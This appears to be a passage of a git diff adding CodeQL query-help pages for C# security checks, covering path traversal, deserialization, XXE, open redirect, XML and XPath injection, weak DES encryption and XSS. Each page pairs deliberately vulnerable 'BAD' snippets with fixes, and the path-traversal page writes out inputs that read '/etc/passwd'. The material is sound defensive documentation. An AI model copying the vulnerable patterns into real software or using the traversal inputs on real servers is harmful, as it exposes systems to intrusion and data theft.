Sanitize potentially tainted paths using `HttpRequest.MapPath`. + +## Example +In the first example, a file name is read from a `HttpRequest` and then used to access a file. However, a malicious user could enter a file name which is an absolute path - for example, "/etc/passwd". In the second example, it appears that the user is restricted to opening a file within the "user" home directory. However, a malicious user could enter a filename which contains special characters. For example, the string "../../etc/passwd" will result in the code reading the file located at "/home/[user]/../../etc/passwd", which is the system's password file. This file would then be sent back to the user, giving them access to all the system's passwords. + + +```csharp +using System; +using System.IO; +using System.Web; + +public class TaintedPathHandler : IHttpHandler +{ + public void ProcessRequest(HttpContext ctx) + { + String path = ctx.Request.QueryString["path"]; + // BAD: This could read any file on the filesystem. + ctx.Response.Write(File.ReadAllText(path)); + + // BAD: This could still read any file on the filesystem. + ctx.Response.Write(File.ReadAllText("/home/user/" + path)); + + // GOOD: MapPath ensures the path is safe to read from. + string safePath = ctx.Request.MapPath(path, ctx.Request.ApplicationPath, false); + ctx.Response.Write(File.ReadAllText(safePath)); + } +} + +``` + +## References +* OWASP: [Path Traversal](https://www.owasp.org/index.php/Path_traversal). +* Common Weakness Enumeration: [CWE-22](https://cwe.mitre.org/data/definitions/22.html). +* Common Weakness Enumeration: [CWE-23](https://cwe.mitre.org/data/definitions/23.html). +* Common Weakness Enumeration: [CWE-36](https://cwe.mitre.org/data/definitions/36.html). +* Common Weakness Enumeration: [CWE-73](https://cwe.mitre.org/data/definitions/73.html). +* Common Weakness Enumeration: [CWE-99](https://cwe.mitre.org/data/definitions/99.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/ThreadUnsafeICryptoTransform.md b/docs/language/query-help/csharp/ThreadUnsafeICryptoTransform.md new file mode 100644 index 00000000000..c9d8e029350 --- /dev/null +++ b/docs/language/query-help/csharp/ThreadUnsafeICryptoTransform.md @@ -0,0 +1,132 @@ +# Thread-unsafe use of a static ICryptoTransform field + +``` +ID: cs/thread-unsafe-icryptotransform-field-in-class +Kind: problem +Severity: warning +Precision: medium +Tags: concurrency security external/cwe/cwe-362 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Likely%20Bugs/ThreadUnsafeICryptoTransform.ql) + +Classes that implement `System.Security.Cryptography.ICryptoTransform` are not thread safe. + +This problem is caused by the way these classes are implemented using Microsoft CAPI/CNG patterns. + +For example, when a hash class implements this interface, there would typically be an instance-specific hash object created (for example using `BCryptCreateHash` function). This object can be called multiple times to add data to the hash (for example `BCryptHashData`). Finally, a function is called that finishes the hash and returns the data (for example `BCryptFinishHash`). + +Allowing the same hash object to be called with data from multiple threads before calling the finish function could potentially lead to incorrect results. + +For example, if you have multiple threads hashing `"abc"` on a static hash object, you may occasionally obtain the results (incorrectly) for hashing `"abcabc"`, or face other unexpected behavior. + +It is very unlikely somebody outside Microsoft would write a class that implements `ICryptoTransform`, and even if they do, it is likely that they will follow the same common pattern as the existing classes implementing this interface. + +Any object that implements `System.Security.Cryptography.ICryptoTransform` should not be used in concurrent threads as the instance members of such object are also not thread safe. + +Potential problems may not be evident at first, but can range from explicit errors such as exceptions, to incorrect results when sharing an instance of such an object in multiple threads. + + +## Recommendation +If the object is shared across instances, you should consider changing the code to use a non-static object of type `System.Security.Cryptography.ICryptoTransform` instead. + +As an alternative, you could also look into using `ThreadStatic` attribute, but make sure you read the initialization remarks on the documentation. + + +## Example +This example demonstrates the dangers of using a static `System.Security.Cryptography.ICryptoTransform` in a way that generates incorrect results. + + +```csharp +internal class TokenCacheThreadUnsafeICryptoTransformDemo +{ + private static SHA256 _sha = SHA256.Create(); + + public string ComputeHash(string data) + { + byte[] passwordBytes = UTF8Encoding.UTF8.GetBytes(data); + return Convert.ToBase64String(_sha.ComputeHash(passwordBytes)); + } +} + +class Program +{ + static void Main(string[] args) + { + int max = 1000; + Task[] tasks = new Task[max]; + + Action action = (object obj) => + { + var unsafeObj = new TokenCacheThreadUnsafeICryptoTransformDemo(); + if (unsafeObj.ComputeHash((string)obj) != "ungWv48Bz+pBQUDeXa4iI7ADYaOWF3qctBD/YfIAFa0=") + { + Console.WriteLine("**** We got incorrect Results!!! ****"); + } + }; + + for (int i = 0; i < max; i++) + { + // hash calculated on all threads should be the same: + // ungWv48Bz+pBQUDeXa4iI7ADYaOWF3qctBD/YfIAFa0= (base64) + // + tasks[i] = Task.Factory.StartNew(action, "abc"); + } + + Task.WaitAll(tasks); + } +} + +``` +A simple fix is to change the `_sha` field from being a static member to an instance one by removing the `static` keyword. + + +```csharp +internal class TokenCacheThreadUnsafeICryptoTransformDemoFixed +{ + // We are replacing the static SHA256 field with an instance one + // + //private static SHA256 _sha = SHA256.Create(); + private SHA256 _sha = SHA256.Create(); + + public string ComputeHash(string data) + { + byte[] passwordBytes = UTF8Encoding.UTF8.GetBytes(data); + return Convert.ToBase64String(_sha.ComputeHash(passwordBytes)); + } +} + +class Program +{ + static void Main(string[] args) + { + int max = 1000; + Task[] tasks = new Task[max]; + + Action action = (object obj) => + { + var safeObj = new TokenCacheThreadUnsafeICryptoTransformDemoFixed(); + if (safeObj.ComputeHash((string)obj) != "ungWv48Bz+pBQUDeXa4iI7ADYaOWF3qctBD/YfIAFa0=") + { + Console.WriteLine("**** We got incorrect Results!!! ****"); + } + }; + + for (int i = 0; i < max; i++) + { + // hash calculated on all threads should be the same: + // ungWv48Bz+pBQUDeXa4iI7ADYaOWF3qctBD/YfIAFa0= (base64) + // + tasks[i] = Task.Factory.StartNew(action, "abc"); + } + + Task.WaitAll(tasks); + } +} + +``` + +## References +* Microsoft documentation, [ThreadStaticAttribute Class](https://docs.microsoft.com/en-us/dotnet/api/system.threadstaticattribute?view=netframework-4.7.2). +* Stack Overflow, [Why does SHA1.ComputeHash fail under high load with many threads?](https://stackoverflow.com/questions/26592596/why-does-sha1-computehash-fail-under-high-load-with-many-threads). +* Common Weakness Enumeration: [CWE-362](https://cwe.mitre.org/data/definitions/362.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/ThreadUnsafeICryptoTransformLambda.md b/docs/language/query-help/csharp/ThreadUnsafeICryptoTransformLambda.md new file mode 100644 index 00000000000..8060d9a8f7e --- /dev/null +++ b/docs/language/query-help/csharp/ThreadUnsafeICryptoTransformLambda.md @@ -0,0 +1,96 @@ +# Thread-unsafe capturing of an ICryptoTransform object + +``` +ID: cs/thread-unsafe-icryptotransform-captured-in-lambda +Kind: problem +Severity: warning +Precision: medium +Tags: concurrency security external/cwe/cwe-362 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Likely%20Bugs/ThreadUnsafeICryptoTransformLambda.ql) + +Classes that implement `System.Security.Cryptography.ICryptoTransform` are not thread safe. + +This problem is caused by the way these classes are implemented using Microsoft CAPI/CNG patterns. + +For example, when a hash class implements this interface, there would typically be an instance-specific hash object created (for example using `BCryptCreateHash` function). This object can be called multiple times to add data to the hash (for example `BCryptHashData`). Finally, a function is called that finishes the hash and returns the data (for example `BCryptFinishHash`). + +Allowing the same hash object to be called with data from multiple threads before calling the finish function could potentially lead to incorrect results. + +For example, if you have multiple threads hashing `"abc"` on a static hash object, you may occasionally obtain the results (incorrectly) for hashing `"abcabc"`, or face other unexpected behavior. + +It is very unlikely somebody outside Microsoft would write a class that implements `ICryptoTransform`, and even if they do, it is likely that they will follow the same common pattern as the existing classes implementing this interface. + +Any object that implements `System.Security.Cryptography.ICryptoTransform` should not be used in concurrent threads as the instance members of such object are also not thread safe. + +Potential problems may not be evident at first, but can range from explicit errors such as exceptions, to incorrect results when sharing an instance of such an object in multiple threads. + + +## Recommendation +Create new instances of the object that implements or has a field of type `System.Security.Cryptography.ICryptoTransform` to avoid sharing it accross multiple threads. + + +## Example +This example demonstrates the dangers of using a shared `System.Security.Cryptography.ICryptoTransform` in a way that generates incorrect results or may raise an exception. + + +```csharp +public static void RunThreadUnSafeICryptoTransformLambdaBad() +{ + const int threadCount = 4; + // This local variable for a hash object is going to be shared across multiple threads + var sha1 = SHA1.Create(); + var b = new Barrier(threadCount); + Action start = () => { + b.SignalAndWait(); + for (int i = 0; i < 1000; i++) + { + var pwd = Guid.NewGuid().ToString(); + var bytes = Encoding.UTF8.GetBytes(pwd); + // This call may fail, or return incorrect results + sha1.ComputeHash(bytes); + } + }; + var threads = Enumerable.Range(0, threadCount) + .Select(_ => new ThreadStart(start)) + .Select(x => new Thread(x)) + .ToList(); + foreach (var t in threads) t.Start(); + foreach (var t in threads) t.Join(); +} + +``` +A simple fix is to change the local variable `sha1` being captured by the lambda to be a local variable within the lambda. + + +```csharp +public static void RunThreadUnSafeICryptoTransformLambdaFixed() +{ + const int threadCount = 4; + var b = new Barrier(threadCount); + Action start = () => { + b.SignalAndWait(); + // The hash object is no longer shared + for (int i = 0; i < 1000; i++) + { + var sha1 = SHA1.Create(); + var pwd = Guid.NewGuid().ToString(); + var bytes = Encoding.UTF8.GetBytes(pwd); + sha1.ComputeHash(bytes); + } + }; + var threads = Enumerable.Range(0, threadCount) + .Select(_ => new ThreadStart(start)) + .Select(x => new Thread(x)) + .ToList(); + foreach (var t in threads) t.Start(); + foreach (var t in threads) t.Join(); +} + +``` + +## References +* Microsoft documentation, [ThreadStaticAttribute Class](https://docs.microsoft.com/en-us/dotnet/api/system.threadstaticattribute?view=netframework-4.7.2). +* Stack Overflow, [Why does SHA1.ComputeHash fail under high load with many threads?](https://stackoverflow.com/questions/26592596/why-does-sha1-computehash-fail-under-high-load-with-many-threads). +* Common Weakness Enumeration: [CWE-362](https://cwe.mitre.org/data/definitions/362.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/UncontrolledFormatString.md b/docs/language/query-help/csharp/UncontrolledFormatString.md new file mode 100644 index 00000000000..616c29cdd42 --- /dev/null +++ b/docs/language/query-help/csharp/UncontrolledFormatString.md @@ -0,0 +1,47 @@ +# Uncontrolled format string + +``` +ID: cs/uncontrolled-format-string +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-134 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-134/UncontrolledFormatString.ql) + +Passing untrusted format strings to `String.Format` can throw exceptions and cause a denial of service. For example, if the format string references a missing argument, or an argument of the wrong type, then `System.FormatException` is thrown. + + +## Recommendation +Use a string literal for the format string to prevent the possibility of data flow from an untrusted source. This also helps to prevent errors where the arguments to `String.Format` do not match the format string. + +If the format string cannot be constant, ensure that it comes from a secure data source or is compiled into the source code. + + +## Example +In this example, the format string is read from an HTTP request, which could cause the application to crash. + + +```csharp +using System.Web; + +public class HttpHandler : IHttpHandler +{ + string Surname, Forenames, FormattedName; + + public void ProcessRequest(HttpContext ctx) + { + string format = ctx.Request.QueryString["nameformat"]; + + // BAD: Uncontrolled format string. + FormattedName = string.Format(format, Surname, Forenames); + } +} + +``` + +## References +* OWASP: [Format string attack](https://www.owasp.org/index.php/Format_string_attack). +* Microsoft docs: [String.Format Method](https://docs.microsoft.com/en-us/dotnet/api/system.string.format) +* Common Weakness Enumeration: [CWE-134](https://cwe.mitre.org/data/definitions/134.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/UnsafeDeserializationUntrustedInput.md b/docs/language/query-help/csharp/UnsafeDeserializationUntrustedInput.md new file mode 100644 index 00000000000..4323b3903d6 --- /dev/null +++ b/docs/language/query-help/csharp/UnsafeDeserializationUntrustedInput.md @@ -0,0 +1,60 @@ +# Deserialization of untrusted data + +``` +ID: cs/unsafe-deserialization-untrusted-input +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-502 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-502/UnsafeDeserializationUntrustedInput.ql) + +Deserializing an object from untrusted input may result in security problems, such as denial of service or remote code execution. + + +## Recommendation +Avoid deserializing objects from an untrusted source, and if not possible, make sure to use a safe deserialization framework. + + +## Example +In this example, text from an HTML text box is deserialized using a `JavaScriptSerializer` with a simple type resolver. Using a type resolver means that arbitrary code may be executed. + + +```csharp +using System.Web.UI.WebControls; +using System.Web.Script.Serialization; + +class Bad +{ + public static object Deserialize(TextBox textBox) + { + JavaScriptSerializer sr = new JavaScriptSerializer(new SimpleTypeResolver()); + // BAD + return sr.DeserializeObject(textBox.Text); + } +} + +``` +To fix this specific vulnerability, we avoid using a type resolver. In other cases, it may be necessary to use a different deserialization framework. + + +```csharp +using System.Web.UI.WebControls; +using System.Web.Script.Serialization; + +class Good +{ + public static object Deserialize(TextBox textBox) + { + JavaScriptSerializer sr = new JavaScriptSerializer(); + // GOOD + return sr.DeserializeObject(textBox.Text); + } +} + +``` + +## References +* Muñoz, Alvaro and Mirosh, Oleksandr: [JSON Attacks](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf). +* Common Weakness Enumeration: [CWE-502](https://cwe.mitre.org/data/definitions/502.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/UntrustedDataInsecureXml.md b/docs/language/query-help/csharp/UntrustedDataInsecureXml.md new file mode 100644 index 00000000000..17907d33a59 --- /dev/null +++ b/docs/language/query-help/csharp/UntrustedDataInsecureXml.md @@ -0,0 +1,45 @@ +# Untrusted XML is read insecurely + +``` +ID: cs/xml/insecure-dtd-handling +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-611 external/cwe/cwe-827 external/cwe/cwe-776 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-611/UntrustedDataInsecureXml.ql) + +XML documents can contain Document Type Definitions (DTDs), which may define new XML entities. These can be used to perform Denial of Service (DoS) attacks, or resolve to resources outside the intended sphere of control. + + +## Recommendation +When processing XML documents, ensure that DTD processing is disabled unless absolutely necessary, and if it is necessary, ensure that a secure resolver is used. + + +## Example +The following example shows an HTTP request parameter being read directly into an `XmlTextReader`. In the current version of the .NET Framework, `XmlTextReader` has DTD processing enabled by default. + + +```csharp +public class XMLHandler : IHttpHandler +{ + public void ProcessRequest(HttpContext ctx) + { + // BAD: XmlTextReader is insecure by default, and the payload is user-provided data + XmlTextReader reader = new XmlTextReader(ctx.Request.QueryString["document"]); + ... + } +} + + +``` +The solution is to set the `DtdProcessing` property to `DtdProcessing.Prohibit`. + + +## References +* OWASP: [XML External Entity (XXE) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html). +* Microsoft Docs: [System.XML: Security considerations](https://msdn.microsoft.com/en-us/library/system.xml.xmlreadersettings(v=vs.110).aspx#Anchor_6). +* Common Weakness Enumeration: [CWE-611](https://cwe.mitre.org/data/definitions/611.html). +* Common Weakness Enumeration: [CWE-827](https://cwe.mitre.org/data/definitions/827.html). +* Common Weakness Enumeration: [CWE-776](https://cwe.mitre.org/data/definitions/776.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/UrlRedirect.md b/docs/language/query-help/csharp/UrlRedirect.md new file mode 100644 index 00000000000..97ae42aa9c9 --- /dev/null +++ b/docs/language/query-help/csharp/UrlRedirect.md @@ -0,0 +1,50 @@ +# URL redirection from remote source + +``` +ID: cs/web/unvalidated-url-redirection +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-601 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-601/UrlRedirect.ql) + +Directly incorporating user input into a URL redirect request without validating the input can facilitate phishing attacks. In these attacks, unsuspecting users can be redirected to a malicious site that looks very similar to the real site they intend to visit, but which is controlled by the attacker. + + +## Recommendation +To guard against untrusted URL redirection, it is advisable to avoid putting user input directly into a redirect URL. Instead, maintain a list of authorized redirects on the server; then choose from that list based on the user input provided. + + +## Example +The following example shows an HTTP request parameter being used directly in a URL redirect without validating the input, which facilitates phishing attacks. It also shows how to remedy the problem by validating the user input against a known fixed string. + + +```csharp +using System; +using System.Web; + +public class UnvalidatedUrlHandler : IHttpHandler +{ + private const String VALID_REDIRECT = "http://cwe.mitre.org/data/definitions/601.html"; + + public void ProcessRequest(HttpContext ctx) + { + // BAD: a request parameter is incorporated without validation into a URL redirect + ctx.Response.Redirect(ctx.Request.QueryString["page"]); + + // GOOD: the request parameter is validated against a known fixed string + if (VALID_REDIRECT == ctx.Request.QueryString["page"]) + { + ctx.Response.Redirect(VALID_REDIRECT); + } + } +} + +``` + +## References +* OWASP: [XSS Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html). +* Microsoft Docs: [Preventing Open Redirection Attacks (C#)](https://docs.microsoft.com/en-us/aspnet/mvc/overview/security/preventing-open-redirection-attacks). +* Common Weakness Enumeration: [CWE-601](https://cwe.mitre.org/data/definitions/601.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/UseOfFileUpload.md b/docs/language/query-help/csharp/UseOfFileUpload.md new file mode 100644 index 00000000000..1da1060b453 --- /dev/null +++ b/docs/language/query-help/csharp/UseOfFileUpload.md @@ -0,0 +1,27 @@ +# Use of file upload + +``` +ID: cs/web/file-upload +Kind: problem +Severity: recommendation +Precision: high +Tags: security maintainability frameworks/asp.net external/cwe/cwe-434 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Input%20Validation/UseOfFileUpload.ql) + +Allowing end users to upload files may lead to severe security threats. Attackers may use this open door to compromise your application, either by overwriting data or by injecting malicious code to run on your server. + + +## Recommendation +Whist it might not be possible to remove the ability to upload files, special care should be taken to ensure files are handled in a secure manner. The following checks should be implemented to ensure the security of your application: + +* Validate each path where the uploaded data is written to. +* Check the content of the data being uploaded without just relying on the MIME type. +* Set a size limit for the uploaded data. +* Do not run your web application with administrator privileges. +* Log each upload request. +* Do not display system information or exception in case the upload fails as this information may help attackers to find a breach. + +## References +* Common Weakness Enumeration: [CWE-434](https://cwe.mitre.org/data/definitions/434.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/ValueShadowing.md b/docs/language/query-help/csharp/ValueShadowing.md new file mode 100644 index 00000000000..682d99a844b --- /dev/null +++ b/docs/language/query-help/csharp/ValueShadowing.md @@ -0,0 +1,53 @@ +# Value shadowing + +``` +ID: cs/web/ambiguous-client-variable +Kind: problem +Severity: warning +Precision: medium +Tags: security maintainability frameworks/asp.net + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Input%20Validation/ValueShadowing.ql) + +Relying on `HttpRequest` to provide access to a particular client variable is not safe. The `HttpRequest` class implements an indexer to provide a simplified, combined access to its `QueryString`, `Form`, `Cookies`, or ` ServerVariables` collections, in that particular order. When searching for a variable, the first match is returned: `QueryString` parameters hence supersede values from forms, cookies and server variables, and so on. This is a serious attack vector since an attacker could inject a value in the query string that you do not expect, and which supersedes the value of a more trusted collection. + + +## Recommendation +Explicitly restrict the search to one of the `QueryString`, `Form` or `Cookies` collections. + + +## Example +In this example an attempt has been made to prevent cross site request forgery attacks by comparing a cookie set by the server with a form variable sent by the user. The problem is that if the user did not send a form variable called `csrf` then the collection will fall back to using the cookie value, making it look like a forged request was initiated by the user. + + +```csharp +class ValueShadowing +{ + public bool checkCSRF(HttpRequest request) + { + string postCSRF = request["csrf"]; + string cookieCSRF = request.Cookies["csrf"]; + return postCSRF.Equals(cookieCSRF); + } +} + +``` +This can be easily fixed by explicitly specifying that we are looking for a form variable. + + +```csharp +class ValueShadowingFix +{ + public bool checkCSRF(HttpRequest request) + { + string postCSRF = request.Form["csrf"]; + string cookieCSRF = request.Cookies["csrf"]; + return postCSRF.Equals(cookieCSRF); + } +} + +``` + +## References +* MSDN: [HttpRequest.Item](http://msdn.microsoft.com/en-us/library/system.web.httprequest.item(v=VS.100).aspx). \ No newline at end of file diff --git a/docs/language/query-help/csharp/ValueShadowingServerVariable.md b/docs/language/query-help/csharp/ValueShadowingServerVariable.md new file mode 100644 index 00000000000..20c80671e1d --- /dev/null +++ b/docs/language/query-help/csharp/ValueShadowingServerVariable.md @@ -0,0 +1,52 @@ +# Value shadowing: server variable + +``` +ID: cs/web/ambiguous-server-variable +Kind: problem +Severity: warning +Precision: medium +Tags: security maintainability frameworks/asp.net + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Input%20Validation/ValueShadowingServerVariable.ql) + +Relying on `HttpRequest` to provide access to a particular server variable is not safe as it can be overridden by the client. The `HttpRequest` class implements an indexer to provide a simplified, combined access to its `QueryString`, `Form` , `Cookies`, or ` ServerVariables` collections, in that particular order. When searching for a variable, the first match is returned: `QueryString` parameters hence supersede values from forms, cookies and server variables, and so on. This is a serious attack vector since an attacker could inject a value in the query string that you do not expect, and which supersedes the value of the server variable you were actually trying to check. + + +## Recommendation +Explicitly restrict the search to the `ServerVariables` collection. + + +## Example +In this example the server attempts to ensure the user is using an HTTPS connection. Because the programmer used the `HttpRequest` indexer, URLs like ` http://www.example.org/?HTTPS=ON` appear to be from a secure connection even though they are not. + + +```csharp +class ValueShadowingServerVariable +{ + public bool isHTTPS(HttpRequest request) + { + String https = request["HTTPS"]; + return https == "ON"; + } +} + +``` +This can be easily fixed by explicitly specifying that we are looking for a server variable. + + +```csharp +class ValueShadowingServerVariableFix +{ + public bool isHTTPS(HttpRequest request) + { + String https = request.ServerVariables["HTTPS"]; + return https == "ON"; + } +} + +``` + +## References +* MSDN: [HttpRequest.Item](http://msdn.microsoft.com/en-us/library/system.web.httprequest.item(v=VS.100).aspx). +* MSDN: [IIS Server Variables](http://msdn.microsoft.com/en-us/library/ms524602.aspx). \ No newline at end of file diff --git a/docs/language/query-help/csharp/WeakEncryption.md b/docs/language/query-help/csharp/WeakEncryption.md new file mode 100644 index 00000000000..e4538433f3f --- /dev/null +++ b/docs/language/query-help/csharp/WeakEncryption.md @@ -0,0 +1,45 @@ +# Weak encryption + +``` +ID: cs/weak-encryption +Kind: problem +Severity: warning +Precision: high +Tags: security external/cwe/cwe-327 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/WeakEncryption.ql) + +Weak encryption algorithms provide very little security. For example DES encryption uses keys of 56 bits only, and no longer provides sufficient protection for sensitive data. TripleDES should also be deprecated for very sensitive data: Although it improves on DES by using 168-bit long keys, it provides in fact at most 112 bits of security. + + +## Recommendation +You should switch to a more secure encryption algorithm, such as AES (Advanced Encryption Standard) and use a key length which is reasonable for the application for which it is being used. + + +## Example +This example uses DES, which is limited to a 56-bit key. The key provided is actually 64 bits but the last bit of each byte is turned into a parity bit. For example the bytes 01010101 and 01010100 can be used in place of each other when encrypting and decrypting. + + +```csharp +class WeakEncryption +{ + public static byte[] encryptString() + { + SymmetricAlgorithm serviceProvider = new DESCryptoServiceProvider(); + byte[] key = { 16, 22, 240, 11, 18, 150, 192, 21 }; + serviceProvider.Key = key; + ICryptoTransform encryptor = serviceProvider.CreateEncryptor(); + + String message = "Hello World"; + byte[] messageB = System.Text.Encoding.ASCII.GetBytes(message); + return encryptor.TransformFinalBlock(messageB, 0, messageB.Length); + } +} + +``` + +## References +* Wikipedia: [Key Size](http://en.wikipedia.org/wiki/Key_size) +* Wikipedia: [DES](http://en.wikipedia.org/wiki/Data_Encryption_Standard) +* Common Weakness Enumeration: [CWE-327](https://cwe.mitre.org/data/definitions/327.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/XMLInjection.md b/docs/language/query-help/csharp/XMLInjection.md new file mode 100644 index 00000000000..ec46a8f0bb7 --- /dev/null +++ b/docs/language/query-help/csharp/XMLInjection.md @@ -0,0 +1,83 @@ +# XML injection + +``` +ID: cs/xml-injection +Kind: problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-091 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-091/XMLInjection.ql) + +The APIs provided by the .NET libraries for XML manipulation allow the insertion of "raw" text at a specified point in an XML document. If user input is passed to this API, it could allow a malicious user to add extra content that could corrupt or supersede existing content, or enable unintended additional functionality. + + +## Recommendation +Avoid using the `WriteRaw` method on `System.Xml.XmlWriter` with user input. If possible, use the high-level APIs to write new XML elements to a document, as these automatically escape user content. If that is not possible, then user input should be escaped before being included in a string that will be used with the `WriteRaw` API. + + +## Example +In this example, user input is provided describing the name of an employee to add to an XML document representing a set of names. The `WriteRaw` API is used to write the new employee record to the XML file. + + +```csharp +using System; +using System.Security; +using System.Web; +using System.Xml; + +public class XMLInjectionHandler : IHttpHandler { + public void ProcessRequest(HttpContext ctx) { + string employeeName = ctx.Request.QueryString["employeeName"]; + + using (XmlWriter writer = XmlWriter.Create("employees.xml")) + { + writer.WriteStartDocument(); + + // BAD: Insert user input directly into XML + writer.WriteRaw("" + employeeName + ""); + + writer.WriteEndElement(); + writer.WriteEndDocument(); + } + } +} +``` +However, if a malicious user were to provide the content `Bobby PagesHacker1`, they would be able to add an extra entry into the XML file. + +The corrected version demonstrates two ways to avoid this issue. The first is to escape user input before passing it to the `WriteRaw` API, which prevents a malicious user from closing or opening XML tags. The second approach uses the high level XML API to add XML elements, which ensures the content is appropriately escaped. + + +```csharp +using System; +using System.Security; +using System.Web; +using System.Xml; + +public class XMLInjectionHandler : IHttpHandler { + public void ProcessRequest(HttpContext ctx) { + string employeeName = ctx.Request.QueryString["employeeName"]; + + using (XmlWriter writer = XmlWriter.Create("employees.xml")) + { + writer.WriteStartDocument(); + + // GOOD: Escape user input before inserting into string + writer.WriteRaw("" + SecurityElement.Escape(employeeName) + ""); + + // GOOD: Use standard API, which automatically encodes values + writer.WriteStartElement("Employee"); + writer.WriteElementString("Name", employeeName); + writer.WriteEndElement(); + + writer.WriteEndElement(); + writer.WriteEndDocument(); + } + } +``` + +## References +* Web Application Security Consortium: [XML Injection](http://projects.webappsec.org/w/page/13247004/XML%20Injection). +* Microsoft Docs: [WriteRaw](https://docs.microsoft.com/en-us/dotnet/api/system.xml.xmlwriter.writeraw?view=netframework-4.8). +* Common Weakness Enumeration: [CWE-91](https://cwe.mitre.org/data/definitions/91.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/XPathInjection.md b/docs/language/query-help/csharp/XPathInjection.md new file mode 100644 index 00000000000..aa3fc0baf56 --- /dev/null +++ b/docs/language/query-help/csharp/XPathInjection.md @@ -0,0 +1,64 @@ +# XPath injection + +``` +ID: cs/xml/xpath-injection +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-643 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-643/XPathInjection.ql) + +If an XPath expression is built using string concatenation, and the components of the concatenation include user input, a user is likely to be able to create a malicious XPath expression. + + +## Recommendation +If user input must be included in an XPath expression, pre-compile the query and use variable references to include the user input. + +When using the `System.Xml.XPath` API, this can be done by creating a custom subtype of `System.Xml.Xsl.XsltContext`, and implementing `ResolveVariable(String,?String)` to return the user provided data. This custom context can be specified for a given `XPathExpression` using `XPathExpression.SetContext()`. For more details, see the "User Defined Functions and Variables" webpage in the list of references. + + +## Example +In the first example, the code accepts a user name specified by the user, and uses this unvalidated and unsanitized value in an XPath expression. This is vulnerable to the user providing special characters or string sequences that change the meaning of the XPath expression to search for different values. + +In the second example, the XPath expression is a hard-coded string that specifies some variables, which are safely replaced at runtime using a custom `XsltContext` that looks up the variables in an `XsltArgumentList`. + + +```csharp +using System; +using System.Web; +using System.Xml.XPath; + +public class XPathInjectionHandler : IHttpHandler +{ + public void ProcessRequest(HttpContext ctx) + { + string userName = ctx.Request.QueryString["userName"]; + + // BAD: Use user-provided data directly in an XPath expression + string badXPathExpr = "//users/user[login/text()='" + userName + "']/home_dir/text()"; + XPathExpression.Compile(badXPathExpr); + + // GOOD: XPath expression uses variables to refer to parameters + string xpathExpression = "//users/user[login/text()=$username]/home_dir/text()"; + XPathExpression xpath = XPathExpression.Compile(xpathExpression); + + // Arguments are provided as a XsltArgumentList() + XsltArgumentList varList = new XsltArgumentList(); + varList.AddParam("userName", string.Empty, userName); + + // CustomContext is an application specific class, that looks up variables in the + // expression from the varList. + CustomContext context = new CustomContext(new NameTable(), varList) + xpath.SetContext(context); + } +} + +``` + +## References +* OWASP: [Testing for XPath Injection](https://www.owasp.org/index.php?title=Testing_for_XPath_Injection_(OTG-INPVAL-010)). +* OWASP: [XPath Injection](https://www.owasp.org/index.php/XPATH_Injection). +* MSDN: [User Defined Functions and Variables](https://msdn.microsoft.com/en-us/library/dd567715.aspx). +* Common Weakness Enumeration: [CWE-643](https://cwe.mitre.org/data/definitions/643.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/XSS.md b/docs/language/query-help/csharp/XSS.md new file mode 100644 index 00000000000..7ad48a9947b --- /dev/null +++ b/docs/language/query-help/csharp/XSS.md @@ -0,0 +1,43 @@ +# Cross-site scripting + +``` +ID: cs/web/xss +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-079 external/cwe/cwe-116 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-079/XSS.ql) + +Directly writing user input (for example, an HTTP request parameter) to a webpage, without properly sanitizing the input first, allows for a cross-site scripting vulnerability. + + +## Recommendation +To guard against cross-site scripting, consider using contextual output encoding/escaping before writing user input to the page, or one of the other solutions that are mentioned in the references. + + +## Example +The following example shows the page parameter being written directly to the server error page, leaving the website vulnerable to cross-site scripting. + + +```csharp +using System; +using System.Web; + +public class XSSHandler : IHttpHandler +{ + public void ProcessRequest(HttpContext ctx) + { + ctx.Response.Write( + "The page \"" + ctx.Request.QueryString["page"] + "\" was not found."); + } +} + +``` + +## References +* OWASP: [XSS (Cross Site 